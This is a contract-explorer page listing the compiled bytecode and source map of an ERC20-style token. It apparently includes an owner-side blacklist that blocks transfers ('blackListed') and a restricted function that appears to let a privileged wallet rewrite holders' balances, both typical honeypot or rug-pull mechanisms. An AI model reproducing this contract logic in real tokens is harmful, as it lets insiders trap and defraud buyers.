fffffffffffffffffffff16815260200190815260200160002054611d1090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119af9190612418565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119fa576119f961282b565b5b604051908082528060200260200182016040528015611a285781602001602082028036833780820191505090505b5090503081600081518110611a4057611a3f6127fc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae257600080fd5b505afa158015611af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1a9190611ea8565b81600181518110611b2e57611b2d6127fc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b9530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e52565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bf9959493929190612433565b600060405180830381600087803b158015611c1357600080fd5b505af1925050508015611c24575060015b611c2d57611c2e565b5b60004790506000811115611ca657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca4573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611d0883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061169e565b905092915050565b6000808284611d1f91906124fd565b905083811015611d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5b906122f8565b60405180910390fd5b8091505092915050565b60008083118290611db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dac91906122d6565b60405180910390fd5b5060008385611dc49190612553565b9050809150509392505050565b600081359050611de081612ab3565b92915050565b600081519050611df581612ab3565b92915050565b60008083601f840112611e1157611e1061285f565b5b8235905067ffffffffffffffff811115611e2e57611e2d61285a565b5b602083019150836020820283011115611e4a57611e49612864565b5b9250929050565b600081359050611e6081612aca565b92915050565b600081359050611e7581612ae1565b92915050565b600060208284031215611e9157611e9061286e565b5b6000611e9f84828501611dd1565b91505092915050565b600060208284031215611ebe57611ebd61286e565b5b6000611ecc84828501611de6565b91505092915050565b60008060408385031215611eec57611eeb61286e565b5b6000611efa85828601611dd1565b9250506020611f0b85828601611dd1565b9150509250929050565b600080600060608486031215611f2e57611f2d61286e565b5b6000611f3c86828701611dd1565b9350506020611f4d86828701611dd1565b9250506040611f5e86828701611e66565b9150509250925092565b60008060408385031215611f7f57611f7e61286e565b5b6000611f8d85828601611dd1565b9250506020611f9e85828601611e66565b9150509250929050565b600080600060408486031215611fc157611fc061286e565b5b600084013567ffffffffffffffff811115611fdf57611fde612869565b5b611feb86828701611dfb565b93509350506020611ffe86828701611e51565b9150509250925092565b6000612014838361202f565b60208301905092915050565b61202981612624565b82525050565b61203881612612565b82525050565b61204781612612565b82525050565b6000612058826124b8565b61206281856124db565b935061206d836124a8565b8060005b8381101561209e5781516120858882612008565b9750612090836124ce565b925050600181019050612071565b5085935050505092915050565b6120b481612636565b82525050565b6120c381612679565b82525050565b6120d28161268b565b82525050565b60006120e3826124c3565b6120ed81856124ec565b93506120fd8185602086016126c1565b61210681612873565b840191505092915050565b600061211e601b836124ec565b915061212982612884565b602082019050919050565b60006121416024836124ec565b915061214c826128ad565b604082019050919050565b60006121646010836124ec565b915061216f826128fc565b602082019050919050565b60006121876021836124ec565b915061219282612925565b604082019050919050565b60006121aa6022836124ec565b91506121b582612974565b604082019050919050565b60006121cd6020836124ec565b91506121d8826129c3565b602082019050919050565b60006121f06025836124ec565b91506121fb826129ec565b604082019050919050565b60006122136012836124ec565b915061221e82612a3b565b602082019050919050565b60006122366023836124ec565b915061224182612a64565b604082019050919050565b61225581612662565b82525050565b6122648161266c565b82525050565b600060208201905061227f600083018461203e565b92915050565b600060208201905061229a6000830184612020565b92915050565b60006020820190506122b560008301846120ab565b92915050565b60006020820190506122d060008301846120ba565b92915050565b600060208201905081810360008301526122f081846120d8565b905092915050565b6000602082019050818103600083015261231181612111565b9050919050565b6000602082019050818103600083015261233181612134565b9050919050565b6000602082019050818103600083015261235181612157565b9050919050565b600060208201905081810360008301526123718161217a565b9050919050565b600060208201905081810360008301526123918161219d565b9050919050565b600060208201905081810360008301526123b1816121c0565b9050919050565b600060208201905081810360008301526123d1816121e3565b9050919050565b600060208201905081810360008301526123f181612206565b9050919050565b6000602082019050818103600083015261241181612229565b9050919050565b600060208201905061242d600083018461224c565b92915050565b600060a082019050612448600083018861224c565b61245560208301876120c9565b8181036040830152612467818661204d565b9050612476606083018561203e565b612483608083018461224c565b9695505050505050565b60006020820190506124a2600083018461225b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061250882612662565b915061251383612662565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125485761254761276f565b5b828201905092915050565b600061255e82612662565b915061256983612662565b9250826125795761257861279e565b5b828204905092915050565b600061258f82612662565b915061259a83612662565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125d3576125d261276f565b5b828202905092915050565b60006125e982612662565b91506125f483612662565b9250828210156126075761260661276f565b5b828203905092915050565b600061261d82612642565b9050919050565b600061262f82612642565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126848261269d565b9050919050565b600061269682612662565b9050919050565b60006126a8826126af565b9050919050565b60006126ba82612642565b9050919050565b60005b838110156126df5780820151818401526020810190506126c4565b838111156126ee576000848401525b50505050565b6000600282049050600182168061270c57607f821691505b602082108114156127205761271f6127cd565b5b50919050565b600061273182612662565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127645761276361276f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f616e7432303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f616e7432303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f616e7432303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f616e7432303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f616e7432303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b612abc81612612565b8114612ac757600080fd5b50565b612ad381612636565b8114612ade57600080fd5b50565b612aea81612662565b8114612af557600080fd5b5056fe616e7432303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203712b5f6baa5f1e57e55795fbc83bc7c65aa938101252a335c32719537c3095064736f6c63430008070033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c86079521161006f578063c8607952146104dd578063dd62ed3e14610508578063ee06c45a14610545578063f0cd1dac14610570578063f2fde38b1461059b578063f9d88a33146105c457610156565b80638da5cb5b146103cb57806395d89b41146103f6578063a9059cbb14610421578063b2a3120b1461045e578063c5d2418914610487578063c816841b146104b257610156565b806327c8f8351161010857806327c8f83514610293578063313ce567146102be5780633345611e146102e95780633ecad2711461032657806370a082311461036357806382eefb43146103a057610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee5780631d231b2c1461021957806323b872dd1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105ed565b60405161017d91906122d6565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611f68565b61067f565b6040516101ba91906122a0565b60405180910390f35b3480156101cf57600080fd5b506101d861069d565b6040516101e591906122bb565b60405180910390f35b3480156101fa57600080fd5b506102036106c3565b6040516102109190612418565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e7b565b6106cd565b60405161024d91906122a0565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611f15565b6106ed565b60405161028a91906122a0565b60405180910390f35b34801561029f57600080fd5b506102a86107c7565b6040516102b5919061226a565b60405180910390f35b3480156102ca57600080fd5b506102d36107eb565b6040516102e0919061248d565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b9190611e7b565b610802565b60405161031d91906122a0565b60405180910390f35b34801561033257600080fd5b5061034d60048036038101906103489190611e7b565b610822565b60405161035a91906122a0565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190611e7b565b610842565b6040516103979190612418565b60405180910390f35b3480156103ac57600080fd5b506103b561088b565b6040516103c29190612418565b60405180910390f35b3480156103d757600080fd5b506103e0610891565b6040516103ed919061226a565b60405180910390f35b34801561040257600080fd5b5061040b6108ba565b60405161041891906122d6565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190611f68565b61094c565b60405161045591906122a0565b60405180910390f35b34801561046a57600080fd5b5061048560048036038101906104809190611fa8565b61096b565b005b34801561049357600080fd5b5061049c610aa7565b6040516104a99190612418565b60405180910390f35b3480156104be57600080fd5b506104c7610aad565b6040516104d4919061226a565b60405180910390f35b3480156104e957600080fd5b506104f2610ad3565b6040516104ff9190612418565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190611ed5565b610ad9565b60405161053c9190612418565b60405180910390f35b34801561055157600080fd5b5061055a610b60565b6040516105679190612285565b60405180910390f35b34801561057c57600080fd5b50610585610b86565b6040516105929190612418565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190611e7b565b610b8c565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190611f68565b610cde565b005b6060600180546105fc906126f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906126f4565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061069361068c610e4a565b8484610e52565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106fa84848461101d565b506107bc84610707610e4a565b6107b785604051806060016040528060288152602001612af960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076d610e4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b610e52565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546108c9906126f4565b80601f01602080910402602001604051908101604052809291908181526020018280546108f5906126f4565b80156109425780601f1061091757610100808354040283529160200191610942565b820191906000526020600020905b81548152906001019060200180831161092557829003601f168201915b5050505050905090565b6000610960610959610e4a565b848461101d565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac610e4a565b73ffffffffffffffffffffffffffffffffffffffff1614610a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f990612338565b60405180910390fd5b60005b83839050811015610aa1578160086000868685818110610a2857610a276127fc565b5b9050602002016020810190610a3d9190611e7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9990612726565b915050610a05565b50505050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b610b94610e4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890612398565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1f610e4a565b73ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90612338565b60405180910390fd5b610dc7600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261170290919063ffffffff16565b610ddb60638361172a90919063ffffffff16565b610def60648461177490919063ffffffff16565b610df991906125de565b610e0391906124fd565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb990612318565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612378565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110109190612418565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561108e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611085906123b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f5906123f8565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906123d8565b60405180910390fd5b600f60149054906101000a900460ff16156111b2576111ab8484846117ef565b9050611697565b60006111bd30610842565b9050600f60149054906101000a900460ff161580156112265750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561123557611234816119c2565b5b61128783600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061136d5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137a57839050611596565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113fd576113f660646113e8600b548861177490919063ffffffff16565b61172a90919063ffffffff16565b905061147b565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561147a576114776064611469600c548861177490919063ffffffff16565b61172a90919063ffffffff16565b90505b5b600081111561157f576114d681600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115769190612418565b60405180910390a35b6115928186611cc690919063ffffffff16565b9150505b6115e881600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116889190612418565b60405180910390a36001925050505b9392505050565b60008383111582906116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd91906122d6565b60405180910390fd5b50600083856116f591906125de565b9050809150509392505050565b600080828461171191906124fd565b90508381101561172057600080fd5b8091505092915050565b600061176c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6e565b905092915050565b60008083141561178757600090506117e9565b600082846117959190612584565b90508284826117a49190612553565b146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117db90612358565b60405180910390fd5b809150505b92915050565b600061187a826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119af9190612418565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119fa576119f961282b565b5b604051908082528060200260200182016040528015611a285781602001602082028036833780820191505090505b5090503081600081518110611a4057611a3f6127fc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae257600080fd5b505afa158015611af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1a9190611ea8565b81600181518110611b2e57611b2d6127fc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b9530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e52565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bf9959493929190612433565b600060405180830381600087803b158015611c1357600080fd5b505af1925050508015611c24575060015b611c2d57611c2e565b5b60004790506000811115611ca657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca4573d6000803e3d6000fd5b505b50506000600f60146101000a81548160ff02191690831515021790555050565b6000611d0883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061169e565b905092915050565b6000808284611d1f91906124fd565b905083811015611d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5b906122f8565b60405180910390fd5b8091505092915050565b60008083118290611db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dac91906122d6565b60405180910390fd5b5060008385611dc49190612553565b9050809150509392505050565b600081359050611de081612ab3565b92915050565b600081519050611df581612ab3565b92915050565b60008083601f840112611e1157611e1061285f565b5b8235905067ffffffffffffffff811115611e2e57611e2d61285a565b5b602083019150836020820283011115611e4a57611e49612864565b5b9250929050565b600081359050611e6081612aca565b92915050565b600081359050611e7581612ae1565b92915050565b600060208284031215611e9157611e9061286e565b5b6000611e9f84828501611dd1565b91505092915050565b600060208284031215611ebe57611ebd61286e565b5b6000611ecc84828501611de6565b91505092915050565b60008060408385031215611eec57611eeb61286e565b5b6000611efa85828601611dd1565b9250506020611f0b85828601611dd1565b9150509250929050565b600080600060608486031215611f2e57611f2d61286e565b5b6000611f3c86828701611dd1565b9350506020611f4d86828701611dd1565b9250506040611f5e86828701611e66565b9150509250925092565b60008060408385031215611f7f57611f7e61286e565b5b6000611f8d85828601611dd1565b9250506020611f9e85828601611e66565b9150509250929050565b600080600060408486031215611fc157611fc061286e565b5b600084013567ffffffffffffffff811115611fdf57611fde612869565b5b611feb86828701611dfb565b93509350506020611ffe86828701611e51565b9150509250925092565b6000612014838361202f565b60208301905092915050565b61202981612624565b82525050565b61203881612612565b82525050565b61204781612612565b82525050565b6000612058826124b8565b61206281856124db565b935061206d836124a8565b8060005b8381101561209e5781516120858882612008565b9750612090836124ce565b925050600181019050612071565b5085935050505092915050565b6120b481612636565b82525050565b6120c381612679565b82525050565b6120d28161268b565b82525050565b60006120e3826124c3565b6120ed81856124ec565b93506120fd8185602086016126c1565b61210681612873565b840191505092915050565b600061211e601b836124ec565b915061212982612884565b602082019050919050565b60006121416024836124ec565b915061214c826128ad565b604082019050919050565b60006121646010836124ec565b915061216f826128fc565b602082019050919050565b60006121876021836124ec565b915061219282612925565b604082019050919050565b60006121aa6022836124ec565b91506121b582612974565b604082019050919050565b60006121cd6020836124ec565b91506121d8826129c3565b602082019050919050565b60006121f06025836124ec565b91506121fb826129ec565b604082019050919050565b60006122136012836124ec565b915061221e82612a3b565b602082019050919050565b60006122366023836124ec565b915061224182612a64565b604082019050919050565b61225581612662565b82525050565b6122648161266c565b82525050565b600060208201905061227f600083018461203e565b92915050565b600060208201905061229a6000830184612020565b92915050565b60006020820190506122b560008301846120ab565b92915050565b60006020820190506122d060008301846120ba565b92915050565b600060208201905081810360008301526122f081846120d8565b905092915050565b6000602082019050818103600083015261231181612111565b9050919050565b6000602082019050818103600083015261233181612134565b9050919050565b6000602082019050818103600083015261235181612157565b9050919050565b600060208201905081810360008301526123718161217a565b9050919050565b600060208201905081810360008301526123918161219d565b9050919050565b600060208201905081810360008301526123b1816121c0565b9050919050565b600060208201905081810360008301526123d1816121e3565b9050919050565b600060208201905081810360008301526123f181612206565b9050919050565b6000602082019050818103600083015261241181612229565b9050919050565b600060208201905061242d600083018461224c565b92915050565b600060a082019050612448600083018861224c565b61245560208301876120c9565b8181036040830152612467818661204d565b9050612476606083018561203e565b612483608083018461224c565b9695505050505050565b60006020820190506124a2600083018461225b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061250882612662565b915061251383612662565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125485761254761276f565b5b828201905092915050565b600061255e82612662565b915061256983612662565b9250826125795761257861279e565b5b828204905092915050565b600061258f82612662565b915061259a83612662565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125d3576125d261276f565b5b828202905092915050565b60006125e982612662565b91506125f483612662565b9250828210156126075761260661276f565b5b828203905092915050565b600061261d82612642565b9050919050565b600061262f82612642565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126848261269d565b9050919050565b600061269682612662565b9050919050565b60006126a8826126af565b9050919050565b60006126ba82612642565b9050919050565b60005b838110156126df5780820151818401526020810190506126c4565b838111156126ee576000848401525b50505050565b6000600282049050600182168061270c57607f821691505b602082108114156127205761271f6127cd565b5b50919050565b600061273182612662565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127645761276361276f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f616e7432303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f616e7432303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f616e7432303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f616e7432303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f616e7432303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b612abc81612612565b8114612ac757600080fd5b50565b612ad381612636565b8114612ade57600080fd5b50565b612aea81612662565b8114612af557600080fd5b5056fe616e7432303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203712b5f6baa5f1e57e55795fbc83bc7c65aa938101252a335c32719537c3095064736f6c63430008070033

Deployed Bytecode Sourcemap

3775:6760:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5990:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6653:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4891:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6267:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4335:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7377:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4017:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6176:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4226:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4283:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6375:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4782:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2910:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6081:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7202:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;::